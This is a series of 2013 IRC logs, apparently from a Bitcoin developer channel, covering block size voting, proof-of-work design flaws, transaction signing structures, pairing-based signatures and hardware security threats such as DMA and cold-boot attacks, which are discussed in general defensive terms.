14:14 < petertodd> You vote for a reduction and a miner can chose to include it.
14:14 < petertodd> *choose
14:14 < petertodd> (john thought some % of the block limit should be reserved for votes FWIW)
14:14 < gmaxwell> hm. perhaps instead the vote-absent-target should be some median of the last N block sizes.
14:15 < gmaxwell> Since miners can already drive it down to nothing regardless of what the voters think.
14:15 < petertodd> That's what john proposed, the limit changes once per year, and a non-vote is a vote for the median of last years and this years limit.
14:15 < gmaxwell> not a median of the limits, a median of the observed blocksizes.
14:15 < petertodd> Basically that's just there so that if a too-high size allows for censorship, the limit will gradually reduce.
14:15 < petertodd> But that means miners can just pad blocks to change peoples status quo votes.
14:16 < gmaxwell> petertodd: yes, so then they stop voting.
14:16 < petertodd> But you can't *not* vote the status quo except by voting something else.
14:17 < gmaxwell> or to be more clear
miners actual observed behavior _is_ the status quo.
14:18 < gmaxwell> petertodd: median(blocks) < limit < 2*limit. You're voting if the limit should be closer to median(blocks) or 2*limit.
14:18 < gmaxwell> if you don't vote, thats a vote for the median, and the limit will fall.
14:18 < petertodd> Hmm... that's reasonable.
14:18 < gmaxwell> (as the median must always be smaller than the limit)
14:18 < gmaxwell> the speed at which it falls depends on the miners behavior.
14:19 < gmaxwell> it will fall slowly if they're consistently right at the limit.
14:19 < petertodd> Although it's easy for all miners to decide to pad blocks to keep median(blocks) == limit
14:19 < gmaxwell> maybe median(blocks)-
just incease they .. rigt
14:19 < gmaxwell> er right.
14:19 < petertodd> With jdillons proposal, the limit *will* fall even in that case.
14:19 < petertodd> For that matter, not all miners, 50% majority of miners.
14:20 < gmaxwell> yea, doesn't actually even need to be median, it could be a mean or some kind of weighed mean.
14:21 < petertodd> I'd just keep it as vote for 2*limit or vote for limit/2 in that case, pick a representative UTXO for each block, and calculate weighted mean for the past years worth of blocks.
14:21 < petertodd> Every step of that is cheap to prove.
14:22 < gmaxwell> So that has stability problems, I think.
14:23 < gmaxwell> basically, if blocks are full and you're like "fuck! I have more bandwidth, I want cheaper transactions"
14:23 < gmaxwell> you'll be voting 2* all year long with all your friends.
14:23 < gmaxwell> maybe you really only needed a 10% bump.
14:23 < gmaxwell> you'll be pissed alll year and then get a great big step when you really only needed 10% (but you don't _know_ you only needed 10%)
14:24 < gmaxwell> so it should probably be more continious to facilitate discovery.
14:24 < gmaxwell> One problem is that a rolling window has a high group delay.
14:25 < petertodd> Hmm... make the limit change every block, by 2 / (1year/10minutes) ?
14:25 < gmaxwell> so you're voting 2* for a long time, and then finally it really goes up.. and keeps going up even though you're like "fuck, too big!"
14:25 < gmaxwell> so there is a tradeoff there.
14:25 < petertodd> Yes, but everyone can spend their txouts to change their votes.
14:26 < gmaxwell> okay, I'll accept that its acceptably soluable.
14:26 < petertodd> Of course, in the context of computer systems, chances are 2x isn't really a big change.
14:27 < gmaxwell> well not just computer systems.
14:27 < gmaxwell> this is needed to keep fees up to prop up difficulty.
14:28 < petertodd> Against an attacker is does 2x feel like much safety margin?
14:31 < petertodd> Oh nice, so 1year/10minutes = 52,560 ~= 2^16, so the code can simply find a representative UTXO, and if the vote is to raise, do limit += limit>>16
14:31 < petertodd> If the vote isn't to raise, do limit -= limit>>17
14:32 < petertodd> oh, wait, no I'm an idiot...
--- Log closed Fri Jul 19 00:00:02 2013
--- Log opened Fri Jul 19 00:00:02 2013
11:13 < jgarzik> petertodd, RE identity + IRC replacement via P2P flood-fill network... do you think a PoW element should be included, a la BitMessage? Or just rely on identity cost and shared opinion
11:13 < jgarzik> ?
11:14 < petertodd> I think identity cost is enough because the domain over where the message is sent is fixed - there's no re-use potential.
11:15 < petertodd> rb
11:15 < petertodd> brb
11:47 < petertodd> back
13:08 < petertodd> jgarzik: I suspect dealing with the graph of trust is going to be tricky... smells like a computationally intensive graph problem.
13:09 < jgarzik> indeed
13:09 < petertodd> One subtlety is you have to apply the same anti-spam rules to messages stating who you trust.
13:10 < petertodd> The other one is how do you find peers who have similar ideas of what to filter.
13:11 < petertodd> For v1.0 maybe the right approach is to not do it as a graph, but as a simple accounting of the sum sacrifice ignoring someone.
13:13 < jgarzik> certainly easier
13:14 < jgarzik> though disappointing there must be some sort of state
13:14 < petertodd> Yes, more minimal state, but that's still state.
13:14 < petertodd> At least it's state without user-controllable parameters - like bitcoin peers can sync to each other and come to consensus.
13:15 < jgarzik> also I wouldn't want everyone in the world on the same P2P network. My proxy would join user-specified networks, each with their own DNS seeds or methods of address gathering/bootstrapping/sharing. i.e. join "freenode" network with specified network magic and DNS seeds
13:15 < jgarzik> enables darknets and scaling
13:16 < petertodd> For bitcoin P2P flood fill jdillon suggested that you split things up into different domains by a simple UUID.
13:16 < petertodd> Nodes can even advertise a bloom filter of what UUIDs they participate in.
13:30 < jgarzik> Perhaps, but ultimately I think people should be able to avoid transiting data for networks they care nothing about
13:31 < jgarzik> Proxy can talk to multiple P2P networks just as easily
13:32 < petertodd> Point is with those UUIDs that's exactly what happens, yet to an observer the behavior of all those networks is identical.
13:33 < petertodd> Also allows for a meta-UUID(s) to make peer discovery for a given UUID easier.
16:38 < sipa> every time i (re)join here, it seems the number of people has grown :)
16:39 < petertodd> we'll have to make -gods eventually
16:39 < sipa> well, there's always #bitcoin-satoshi above...
16:40 < petertodd> heh
16:43 < gmaxwell> this is the best bitcoin channel.
16:43 < gmaxwell> well, other than the one where you have to solve the cryptographic puzzle embedded in the blockchain to join...
--- Log closed Sat Jul 20 00:00:05 2013
--- Log opened Sat Jul 20 00:00:05 2013
02:27 < midnightmagic> :-I please don't tell me that unless there is actually a puzzle
02:28 < midnightmagic> lol
02:28 * midnightmagic distracts himself by clicking the bitmaps in obscure unicode glyphs
--- Log closed Sun Jul 21 00:00:08 2013
--- Log opened Sun Jul 21 00:00:08 2013
19:12 < gmaxwell> petertodd: so one additional property your transaction PoW stuff would have is that it would increase the incentive to make sure you include transactions from the far side of a network partition.
--- Log closed Mon Jul 22 00:00:11 2013
--- Log opened Mon Jul 22 00:00:11 2013
06:57 < petertodd> gmaxwell: indeed, for my proof-of-sacrifice ideas, like the zookeyv key-value consensus system, I was thinking that'd basically be the whole incentive to try to broadcast the fact that you made a block/tx as widely as possible
06:58 < petertodd> gmaxwell: Works really well I think if the blockchain has a DAG strucuture and including non-conflicting branches is advantageous.
--- Log closed Tue Jul 23 00:00:15 2013
--- Log opened Tue Jul 23 00:00:15 2013
02:42 * amiller grumbles
02:43 < amiller> i think the first rule of bitcoin is "no global identities"
22:14 < gmaxwell> http://www.tdp.cat/issues/tdp.a015a09.pdf
22:14 < gmaxwell> damnit I must be tired.
22:14 < gmaxwell> Can someone decode which properties there actually achieving there?
23:30 < petertodd> "secure against semi-honest servers" <- you've got good reasons to wonder
23:37 < petertodd> yeah, I don't think it's interesting for us - seems to be an interactive protocol where the client gets a proof that c \in S without knowing S, but you still need that round trip
23:38 < petertodd> I think the advantage over a merkle tree is supposed to be that the underlying primative can be a bloom filter, rather than a complete dataset like a merkle tree
23:40 < gmaxwell> https://news.ycombinator.com/item?id=6094383
23:40 < gmaxwell> there I tried to read it again and managed to uncross my eyes long enough to understand their first form.
23:41 < gmaxwell> it's relatively clever, at at least less obviously horrible to some of the oblivious query stuff... but I can't think of anything we could use it for.
23:41 < petertodd> yeah, and that kinda makes sense, but what they are talking about appears to have to be an interactive protocol
23:41 < gmaxwell> petertodd: it is.
23:41 < gmaxwell> you can't query membership without asking the other side to blind sign for you.
23:41 < petertodd> right, which isn't much better than just a merkle tree
23:42 < gmaxwell> I can't think of anything we can use it for.
07:56 < warren> they're scared suddenly by Luke-Jr's patch, and realization that there's targeted ways for pools to filter only them
07:58 < adam3us> warren: i dont want to give them ideas but i think steganography wins (eg they could use committed tx too (even steganographically encoded variant of it), and we may want to prevent miner policy with (non-stego) committed tx also) Luke-Jr is awesome but miner policy is a slippery slope when we have limited technical defense against miner centralization
07:59 < sipa> luke's patch makes sense, but it's not rational for miners to adopt it
07:59 < sipa> it adds complexity to mining, and can only result in lost fee income
08:00 < adam3us> sipa: his policy was to deprioritize non-unique addresses right? or was the another feature also?
08:00 < sipa> yes
08:01 < adam3us> sipa: and msc is using address tagging i guess
08:01 < warren> adam3us: their address tagging is for dumb reasons that have nothing to do with the goal of the protocol
08:01 < adam3us> sipa: sweet patch btw :)
08:01 < warren> adam3us: it's for the founder to collect a tax on every tx
08:02 < Fistful_1f_LTC> why dont they move to PTS
08:02 < adam3us> warren: yes so the patch is a temporary win
08:02 < Fistful_1f_LTC> or create their own,
08:02 < adam3us> Fistful_1f_LTC: yes i suggested that to ripper123 on the msc thread - pts
08:02 < sipa> PTS?
08:02 < Fistful_1f_LTC> protoshare
08:02 < Fistful_1f_LTC> bitshare
08:03 < adam3us> sipa: protoshares a temporary "please mine this while we code bitshare" and we promise to give pts a 10% premine equity in bitshare
08:03 < Fistful_1f_LTC> lol
08:03 < sipa> brrr
08:03 < warren> Fistful_1f_LTC: I think their goal is to avoid having the entire network being declared illegal by making it impossible to be detected
08:04 < adam3us> Fistful_1f_LTC: its awesome - i hung out the on the #protoshares irc for a short while - most of the people had no idea what or why they wre mining, only that they were there EARLY so if it rocketed theyd make bundle
08:05 < adam3us> warren: i think stego works, eg built on committed tx. but only up to the insider attack someone can get in their identify msc tx via nominal value msc tx, and feed the info and evidence to miners to block
08:08 < Fistful_1f_LTC> adam3us: it's already rallying,
08:08 < adam3us> sipa: the mistakes on pts were almost terracoin in proportion. its hashrate went up faster than the adjustment could control, so it mined 6months planned in 1 week. they released a hardfork patch and demaned all miners switch
08:08 < Fistful_1f_LTC> i'm mining a ton right now
08:08 < TD> i don't think miners should be down-prioritising address re-use
08:08 < adam3us> Fistful_1f_LTC: i think you maybe could get more speed, like n^2 more by increasing the ram used in the code
08:09 < Fistful_1f_LTC> how would i do that?
08:10 < adam3us> Fistful_1f_LTC: there is a data structure tht stors colision candidates, its set to lke 1GB, if you increase it to 64GB it may run 1000x faster
08:10 < adam3us> Fistful_1f_LTC: (or however much ram you have)
08:11 < Fistful_1f_LTC> using AWS
08:11 < Fistful_1f_LTC> its probably scalable
08:11 < adam3us> Fistful_1f_LTC: yes you can choose instances with more or less RAM, but try it first
08:12 < warren> TD: sipa: sure Luke-Jr's patch may not be rational, although filtering MSC may
08:12 < TD> well it's just not useful, imo. people already have incentives to not re-use addresses
08:13 < Fistful_1f_LTC> ok, you kno which datastructure that is?
08:13 < adam3us> Fistful_1f_LTC: erm 1 sec
08:13 < Fistful_1f_LTC> or which miner are you talking about the coyote one ? or the beer
08:14 < adam3us> Fistful_1f_LTC: either the qt client or the ptsminer client (its the same code)... the bitshare binary they dont release source for
08:14 < warren> and OMG, have you read their "spec"? The designer seriously doesn't know what he's doing.
08:15 < Fistful_1f_LTC> ok, i use ypool's miner, which is slightly faster,
08:15 < warren> huh, protoshares uses XPM's pow?
08:17 < adam3us> Fistful_1f_LTC: probably from same source... look for semiOrderedMap.cpp
08:17 < Fistful_1f_LTC> adam3us: cool, thanks
08:17 < Fistful_1f_LTC> warren: they use momoentum,
08:18 < adam3us> Fistful_1f_LTC: (I havent tried it... just as they are using birthday collision, until ram is full it speed increases n^2 with size of ram, if the cpu cores are fast enough to fill it in about the size of a block duration)
08:18 < Fistful_1f_LTC> slightly "hardened" scrypt, but it seems it's not that much harder
08:19 < adam3us> Fistful_1f_LTC: did they change it? i think its H=hashcash-SHA512-26 (26 bit bitcoin like collision)
08:19 < Fistful_1f_LTC> adam3us: i will test it then
08:19 < adam3us> Fistful_1f_LTC: warren: then they find store H(cb,a), H(cb,b) for random values or counters a, until they find H(cb,a)==H(cb,b) in the last 50-bits (50-bit birthday partial collision)
08:20 < adam3us> Fistful_1f_LTC, warren: finally they test if H(cb,a,b) < target
08:21 < adam3us> Fistful_1f_LTC, warren: (cb is coinbase) their idea is its they wanted to make a scrypt variant which was faster to verify (3 hashes) but still needed ram like scrypt, an interesting but unsolved design concept (i thought of it and tried it myself ages ago - its not easy)
08:24 < adam3us> Fistful_1f_LTC, warren: consequently they failed on 3 counts: 1. it has TMTO (via unreliable bloom storage - which they dint realize) so it can probably be made to work in GPU L2 cache; 2. it has progress so powerful computers win more than their share, 3. it has economies of scale (ie 2x ram = 4x power). triple fail
08:27 < warren> adam3us: I recall Luke-Jr was touting their design earlier while making fun of Litecoin's PoW failure. =)
08:27 < warren> (sure ,Litecoin had a PoW failure)
08:31 < adam3us> warren: litecoin PoW failure was params, this one is algorithmic :) an luckily for the investors in litecoin, the b0rken params turned to be OK params for GPUs when ASICs took over
08:33 < adam3us> warren: 3am dude.
08:33 < warren> sigh
08:33 < warren> yeah
08:37 < adam3us> warren: it would be interesting to find a way to design a secure memory hard pow that does not require memory to verify and has no progress nor economy of scale problems (nor tmtos)
08:38 < warren> adam3us: I don't have enough CPU's to benefit from that new scamcoin.
08:39 < adam3us> warren: the guy who asked me to look at it rented 80 vsps from the vsp provider that bitshare were getting affiliation profitfor
08:39 < adam3us> warren: then bitshre did the hard fork he had 80 vsp sitting there with nothing to do on a monht contract, he was not happy
08:40 < warren> adam3us: read the launch of XPM and digitalocean? hilarious
08:40 < adam3us> warren: (the difficulty jump after the fork made it ridiculous)
08:40 < adam3us> warren: no will go take a look for giggles
08:41 < warren> hmm, can't find the URL
08:41 < warren> adam3us: someone made a killing ... from referral codes
09:40 < petertodd> adam3us: the underlying problem isn't the incentive to mine - timestamping by itself is fine - it's the incentive to *publish*
09:41 < petertodd> sipa: sure, but equally adopting the dust patch can only result in lost-fee income too...
09:42 < petertodd> warren: yeah, I told MSC to ditch the address tagging too - they understand the issue and even came up with the idea of creating a globally predictable per-MSC address so that MSC clients could still work via SPV
09:42 < petertodd> warren: s/they/some of them/ :P
09:42 < warren> gavinandresen: just to confirm, you have 5 BTC available for macosx corruption bounty? 1) explain HOW it happens 2) provide a fix that is acceptable for merging by the standard review procedure.
09:43 < warren> petertodd: ooh
09:43 < petertodd> warren: (a MSC investor approached me a while back and paid me to do a bit of consulting for them; said investor decided to sell all the same)
09:43 < warren> petertodd: that's a better design than what I came up with
09:43 < adam3us> petertodd: well if the mine is of a bitcoin coinbase that includes a merkle root for the side-chain - then the miner has to publish it to collect their bitcoin reward
09:44 < petertodd> warren: yeah, basically the idea would be to predict the address, you'd have to duplicate a decent chunk of their code. Obvously that can be stopped, but it's a pain in the ass too.
09:44 < warren> gavinandresen: we'll chip in to the bounty, ask public for more donations to chip in more and post it.
09:44 < petertodd> adam3us: sure, but what if publishing late has incentives for some reason? mastercoin has global state crap so...
09:46 < adam3us> petertodd: well other than selfish mining, delaying publication of bitcoin blocks is playing dice with $25*450
09:47 < petertodd> adam3us: yes, *bitcoin* blocks, we're talking about mastercoin here
09:47 < petertodd> (well I'm talking...)
09:47 < adam3us> petertodd: the pay not to mine, given tx is a problem for bitcoin also, or pay to mine a different msc merkleroot
09:48 < petertodd> adam3us: right, but remember, this is a side-chain, timestamped, so the problem is what happenes if a MSC tx or block or whatever it's called gets stamped, but not published? it's not a trivial problem
09:50 < adam3us> petertodd: ah i see what you mean. mining a hash runs the risk that the block is not available. bitcoin mines a hash, but announces by sending the block in one stage (not hash then block)
09:51 < adam3us> petertodd: i think other miners ignore hashes without blocks, and orphan them
09:51 < petertodd> adam3us: exactly. and with pow mining, it helps that naturally everyone is running flat out - not true with sacrifices/timestamps/etc.
09:58 < petertodd> bbl
14:03 < Luke-Jr> adam3us: there's no slope in miner policy. miners have always had a right to decide which transactions they will and won't accept
14:04 < Luke-Jr> sipa: it's rational for miners to use it because it ensures the value of their earned bitcoin remains
20:35 < amiller> then you'd have to run E(P') in time t^3 just to get the 2nd from last, etc...
20:35 < amiller> E(E(P')) i mean
20:39 < gmaxwell> yuck.
22:59 < amiller> i want to make a new definition for proof of knowledge
22:59 < amiller> bitcoin is really the perfect example for this
23:05 < gmaxwell> hm?
23:05 < amiller> the need for something like an extractor is because of the vacuousness of just saying "there exists", in the sense that a blockhash is valid if there exists some valid blockdata that's a preimage of it
23:05 < amiller> because there are a lot of valid blocks and the hash has collisions somewhere
23:09 < amiller> the recursive snark / proof-carrying-data paper basically defines this "compliance predicate" thing that describes valid blocks but as a recursive statement
23:09 < amiller> hrm
23:09 < gmaxwell> hm. I guess a useful definition of proof of knoweldge required that the thing you're proving be concrete enough that it's not a totally empty claim.
23:11 < amiller> the idea of an extractor is pretty compelling, like it says you have to efficiently provide the witness, where the witness is all the actual data
23:12 < amiller> the technical details are baffling and unnecessary tricky though, like it basically says "given access to compiled program code that produces a proof, there's an efficient reverse-engineering that produces the witness"
23:15 < amiller> so i wonder if there's a more indirect way to do it that's like
23:17 < amiller> rather than saying there's an extractor that extracts the witness, producing the proof using anything other than the witness is hard
23:37 < gmaxwell> it is a bit interesting the the SNARK proof is there exists a witness such that f(public,w)=x... but it doesn't directly prove that the prover knew the witness.
23:39 < amiller> "knew the witness" is really difficult to define
23:44 < amiller> it would be a really minor engineering effort to make pinocchio work for bitcoin
23:44 < amiller> like, who cares if it takes 10 minutes to make a whole blockchain proof
23:45 < amiller> per block even
23:45 < amiller> the "real world practical costs" threshold is a whole lot different if it's public data and its providence concerns a lot of people
23:45 < amiller> provenance*
23:46 < gmaxwell> You think the prover could run that fast, with a state space of several hundred megabytes?
23:46 < gmaxwell> (and ECDSA signature validation in it?)
23:47 < amiller> yeah maybe
23:47 < amiller> one of the weird things is that
23:47 < amiller> because of the algebraic structure (it's bilinear groups based on elliptic curves anyway) you get some kind of strange operations for free
23:47 < gmaxwell> well I think that would be tremendously valuable, it greatly changes our long term scaling, since we could have comitted utxos and then proofs of them and nodes could hotstart without substantially degrading the security model.
23:48 < amiller> yeah it changes things about the whole chains-validating-other-chains kind of stuff too which is more deeply why i'm so interested
23:48 < amiller> so, like, it's possible that lattice based hashes or lattice based signatures would be even cheaper than it seems
23:49 < gmaxwell> eliminating storage of user provided data would also remove a lot of existential risk for us... I think it's only a matter of time before someone tries to use childporn in the historic chain as an excuse to shut down bitcoin or to force it to become centeralized.
23:51 < gmaxwell> I know how to keep user provided data out of the utxo, but can't remove it historically without either proofs of validation or a reduction in the security model. ... but if the computation cost thousands of dollars to perform for the proof thats not a big deal.
23:52 < gmaxwell> (okay, well thousands would be kinda obnoxious, but it's viable)
23:52 < amiller> yeah.
23:54 < gmaxwell> by the numbers I think the majority of bitcoin users don't have a clue about security at all, and would be perfectly happy if all the rules were removed from the software and BTCguild, slush, and asicminer were just trusted to do the right thing. ... so I do worry a lot about a politically hot argument to degrade the security for expedient reasons.
--- Log closed Wed Aug 28 00:00:47 2013
--- Log opened Wed Aug 28 00:00:47 2013
00:31 < Luke-Jr> gmaxwell: maybe BFL should start self-mining. people would care about that.
00:35 < gmaxwell> Anyone able to decode something comprehensible from this: https://bitcointalk.org/index.php?topic=282726.0
01:55 < gmaxwell> wtf. why is most work on secure multiparty computation using a semi-honest participant attack model.
01:55 < gmaxwell> I hate academics.
07:50 < gmaxwell> amiller: did you see me yabbering about performing interactive cut-and-choose with the blockchain itself as the counterparty?
--- Log closed Thu Aug 29 00:00:50 2013
--- Log opened Thu Aug 29 00:00:50 2013
20:15 < gmaxwell> petertodd: so, generalizing the sighash flags. Imagine a tree structured transaction seralization. There are N leafs matching up to the N data values being encoded.
20:16 < petertodd> Yup
20:16 < gmaxwell> petertodd: you form an N bit vector, setting 1s for all the items you want to sign for, and then you can encode that vector by encoding run lenths values.
20:16 < petertodd> Exactly what I was thinking too
20:17 < gmaxwell> e.g. if N=100 then you might code <100> to indicate all 1s.. or if you code 101111..<end> 1,98 or whatever.
20:17 < petertodd> You can further simplify it too by making the interpretation of that vector be centered on the input, so simple concatenation works.
20:18 < gmaxwell> and then you can stick on the checksig operator this runlength sequence as an input, you gather up the leafs that are matched by the mask and sort them by value.. and thats what you sign.
20:18 < gmaxwell> petertodd: you don't need to though because to support any changes you'd leave the runlength token outside of the signature.
20:18 < gmaxwell> so someone adding to the transaction would just compute another runlength token.
20:19 < petertodd> gmaxwell: Aw heck, I was thinking to simpify that compute code, but yeah, it'd probably just be easier to index from zero anyway.
20:19 < gmaxwell> But ... the downside of this is that it leaves malleability. And I'm annoyed that I see no way to preserve the flexibility I want without creating free malleability.
20:19 < petertodd> Yeah, I think that's impossible. Better to make a new system where you can sign a scriptPubKey:valout output instead.
20:19 < gmaxwell> (if you want to be complicated there are all sorts of fancy things you can do to make coding the runlength value efficient... but since you never hash it.. it's not really protocol normative)
20:20 < petertodd> *scriptPubKey:value
20:20 < gmaxwell> yea, I don't see how the malleability can ever really be completely removed unless you really heavly restrict scriptsig form.
20:20 < petertodd> Hmm... true you could actually not hash it at all, although that'd be a lot of complex changes in the scripting system.
20:21 < gmaxwell> e.g. OP_NOP <push> checksig is still valid.. so you'd have to have a rule saying you couldn't do that. But I'm suggesting never hashing that value anywhere in the protocol.
20:21 < gmaxwell> basically I'm saying the scriptsigs for a txn would be a seperate hashtree. You'd still commit it in the blockchain but it would be a seperate fork.
20:22 < petertodd> Yeah, see I'm thinking s/OP_NOPn/OP_CHECKSIG2/ basically, and continuing to get the signature from the scriptSig, and continuing to hash that.
20:23 < gmaxwell> well I'm pondering how I'd completely change the transaction format to make some of the things that are clearly broken better.
20:23 < gmaxwell> e.g. the fact that fidelity bond proofs are unreasonably big.
20:23 < petertodd> Yeah, problem is you do want to preserve the backwards compatibility I think. The main thing we're missing is input values; got anything else in mind?
20:24 < petertodd> re: fidelity bonds, I just wrote a OP_CHECKLOCKTIMEVERIFY patch actually.
20:24 < gmaxwell> proof size and prunability of scriptsigs while keeping everything else (same problem) is what concerns me most w/ the current format.
20:24 < gmaxwell> even with OP_CHECKLOCKTIMEVERIFY I can't check a @#$@ single output without hashing the whole txn.
20:25 < gmaxwell> (okay, with the midstate compression perhaps you can get the last one, but thats a kludgy hack)
20:25 < petertodd> Right, and to solve that I think all you actually need is just to extend the merkle tree into the tx, plus making that merkle tree include input CTxOut's
20:25 < gmaxwell> right thats what I'm thinking about. How do you lay out the transaction so the data elements form an efficient tree... and then express the data you want to include in your hash efficiently as some masking over that tree.
20:25 < petertodd> I can't think of any other fields that are needed; maybe a per-transaction checkpoint.
20:26 < petertodd> Ah I see, yes, that's a good approach.
20:27 < petertodd> I guess the easiest would be to just number the roots of that tree, and make your RLL-encoded bitfield spit out indexes.
20:27 < gmaxwell> I think the txn global data is a version, a nlocktime, a checkpoint, and the counts and sums for the subtrees.
20:27 < petertodd> Right, sums are important.
20:27 < petertodd> Do you want a single checkpoint for the whole tx?
20:28 < gmaxwell> And the inputs have a sum tree of input data, the scriptsigs have a sumtree of sigsize bytes, the outputs have a sum tree of output value. the two sums give you the fees.
20:28 < petertodd> That's good
20:29 < gmaxwell> petertodd: I _think_ so, as they're redundant if they aren't identical, but it might make some merging complicated as you'd have to agree on the checkpoints when you include them.. otherwise the checkpoint should just becomes scriptsig operator that pushes the checkpoint onto the stack of data that gets signed.
01:06 < amiller> i have a friend who basically derived this in some private conversation last year :x
01:06 < amiller> i told him i didn't know any signature scheme that could be combined that way
01:06 < amiller> it was specifically about doing red balloons where you can't strip the new fee off
01:07 < gmaxwell> amiller: for ecdsa we have public + r + s for this we would have public + aggregate(s) but if it's use for anonymity you have to have an extra public key for each output.
01:07 < gmaxwell> and yea, this is really trivial with pairing crypto.
01:09 < amiller> yeah i ran through your elaboration and it made sense
01:09 < amiller> (i am not really checked out to read and securitize crypto but w/e)
01:09 < gmaxwell> the signature algorithim with one way aggregation is circua 2003. This posters contribution is the idea that if you seperate your spend and your output signatures would be insecure in isolation and aggregate them before announcing, you don't have linking.
01:09 < gmaxwell> Well .. it's pairing which uh. may not give everyone warm fuzzies.
01:10 < gmaxwell> because it's all based on carefully choosing groups withere the delusional DH problem is trivial to solve.
01:11 < amiller> yeah also all elliptic curves were generated by j.e. hoover
01:11 < gmaxwell> man I made the mistake of making a few comments on that, and have had press calling me all week about it.
01:13 < petertodd> gmaxwell: good job
01:14 < amiller> you and matt green.
01:14 < amiller> who visits my office once a week :3
01:14 < amiller> i gave him a copper bitcoin trinket today
01:14 < amiller> if you think *you* open your big mouth....
01:14 < amiller> anyway so...
01:15 < amiller> pairings are fine w/e PBC is easy enough to use and almost fast
01:15 < gmaxwell> amiller: can you ask him what he's doing going and filling reporters heads with the idea that the NSA can steal bitcoin with SHA256 collisions? That has to be the biggest streach theory I've heard all weak and I really wanna know how the reporter got that out of him. :P
01:15 < gmaxwell> yea PBC is pretty sweet.
01:16 < gmaxwell> one pairing operation per txn is kinda lame but its not nonviable in the slighest.
01:17 < amiller> why not just merge all the tx
01:17 < amiller> miner makes one big ol operation
01:17 < amiller> one pairing and a dozen of the other things the third one
01:36 < gmaxwell> because the validation needs one pairing per message and public key.
01:37 < amiller> oh
01:43 < gmaxwell> (and one G2 multiply)
01:43 < gmaxwell> er GT multiply.
01:43 < gmaxwell> stupid paring terminology.
08:50 * jgarzik continues to work on auctionpunk
08:50 < jgarzik> new sub-idea: address servers
08:51 < jgarzik> Right now, "auctiond" communicates directly with bitcoind, obtaining addresses for payments and watching for those payments
08:51 < jgarzik> If a third component existed to serve out bitcoin addresses, this auction server need never touch a wallet at all
08:52 < jgarzik> that third component could do what auctiond does now -- call bitcoind getaccountaddress -- or read from a static file of 1 million pre-generated addresses, or any other method
12:40 < HM> or if bitcoind actually talked to a database server, everything could just talk to that :P
12:59 < jgarzik> well, this is more an administrative boundary; trying to design an API around that concept.
13:00 < jgarzik> a wallet is a kay management unit. people may choose to manage keys in different ways.
13:00 < jgarzik> an address server is one way to enable many different wallet configurations.
--- Log closed Sun Sep 15 00:00:39 2013
--- Log opened Sun Sep 15 00:00:39 2013
20:49 < jgarzik> basic auction server complete. now rewriting JSON-RPC -> HTTP REST ;p
22:08 < petertodd> nifty
22:09 < petertodd> jgarzik: I'm doing some work on what I'm calling the bitcoin.chain module to handle stuff like blockchain header maintenance and what not for python-bitcoinlib
22:11 < petertodd> jgarzik: Thinking it should look something like a magical box where you can ive it blockchain headers, and it figures out what's the biggest sum-work sub-chain, similar to sipa's work on headers-first.
22:12 < petertodd> jgarzik: (obviously it's ok if the box uses a pile of ram in degenerate cases... so long as the more obvious way to do it works well)
22:17 < BlueMatt> how did I end up leaving here? :(
22:17 < BlueMatt> petertodd: researching attacking tpms in what sense? dma to break txt or so?
22:17 < petertodd> BlueMatt: I guess Hogwarts expelled you.
22:18 < BlueMatt> <petertodd> There's a lot of possible attacks, but yeah, breaking memory is a big one. Of course, the big issue with even Intel's TPM stuff is that AFAIK main memory is unencrypted - rather useless.
22:18 < BlueMatt> petertodd: yea, well if you can rewrite kernel code via dma, tpm data can be read arbitrarily, essentially
22:18 < petertodd> Yup, and people overestimate how hard it is to get data out of main memory: just cool down the RAM sticks, turn off the machine, and transfer them to another machine for a cold-boot attack.
22:19 < BlueMatt> hence why txt exists (run program protected from dma, etc, where you can get new tpm status so that you can protect better)
22:19 < petertodd> IE, any application that needs sensitive data stored in RAM is insecure, making a lot of applications useless.
22:19 < BlueMatt> ofc there are (apparently) attacks against txt where you can break the IOMMU protection and then get access to the "protected" program
22:19 < petertodd> Yes, but TXT execution still leaves the program data in RAM unless you do really clever stuff with L1/L2 cache.
22:20 < BlueMatt> petertodd: see https://github.com/TheBlueMatt/linux for some work Ive been doing (and am now continuing) that builds on the TRESOR store-encryption-keys-in-registers stuff
22:20 < BlueMatt> petertodd: yes, but you can get the tpm to hash the program and only allow private data to be read when you load the right program
22:20 < petertodd> Ah cool, yeah that's a nifty approach, and easier to implement than cache tricks from what I hear.
22:21 < BlueMatt> well, except for dma tricks where you just rewrite the kernel code.....
22:21 < petertodd> (note that my main TPM interest is remote attestation, for wallet stuff your type of security is probably fine)
22:22 < BlueMatt> ahh, well yea I mean you essentially need secure IOMMU limits st no hardware can write arbitrary crap to kernel memory
22:23 < BlueMatt> which is being worked on...but there are still drivers that dont do it right (hence my desire to find programmable pcie chips...)
22:23 < petertodd> I also have a project I want to do that'll just be a uC with a cheap FTDI USB<->serial chip and some very simple anti-tamper stuff to store full-disk-encryption keys, as well as provide a way to detect tamper events - the latter could be used to wipe system memory in conjunction with a in-case UPS.
22:24 < petertodd> You basically want to be sure the attacker can't plug in some hardware to a running machine right?
22:24 < gmaxwell> BlueMatt: so there are things like fpga devkits with pcie, but the pcie bus connection is some fixed logic, and may not be able to make do what you want.
22:24 < BlueMatt> petertodd: well, my threat model is how to protect against an attacker who can
22:24 < petertodd> Er, right, make sure an attacker who can can't do anyting interesting. :)
22:25 < BlueMatt> petertodd: see https://forums.hak5.org/index.php?/topic/28816-howto-anti-forensics-mass-storage-device-as-a-key-device-for-fde/ where I build a flash drive that is smart and tries to figure out when someone is trying to read it
22:25 < BlueMatt> petertodd: yea
22:25 < petertodd> BlueMatt: Lol, yeah I saw that earlier, very nifty.
22:26 < petertodd> See, my thinking is that there's probably so much backdoor crap and exploits in standard hardware, that it'd be more productive to add more hardware to the problem, but simple hardware that we can trust.
22:26 < BlueMatt> gmaxwell: fixed bus logic there should be fine, you just have to be able to change how it reports itself to the host
22:27 < BlueMatt> petertodd: yes, a smaller trust base would be nice, but its theoretically possible to do it all properly without any custom hardware so thats what Im looking at
22:28 < BlueMatt> also: doing a wallet in tpm should be done...
22:28 < BlueMatt> wallet in intel txt would be the ultimate in security for private key storage and signing
22:28 < BlueMatt> ofc you should probably just do a hardware thinggy instead, but....
22:29 < petertodd> BlueMatt: Well, they're both ideas with advantages and disadvantages so... if I build my little USB thing, think it'd be easy to write some kernel drivers/dmcrypt startup scripts to use it? I suspect it won't be a very hard project, much less than the other stuff you're working on.
22:31 < petertodd> BlueMatt: Reminds me: apparently the newer intel TXT stuff can even display things on screen securely, and take in user input from the keyboard and mouse securely, at the hardware level!
22:31 < BlueMatt> ooooooooooo
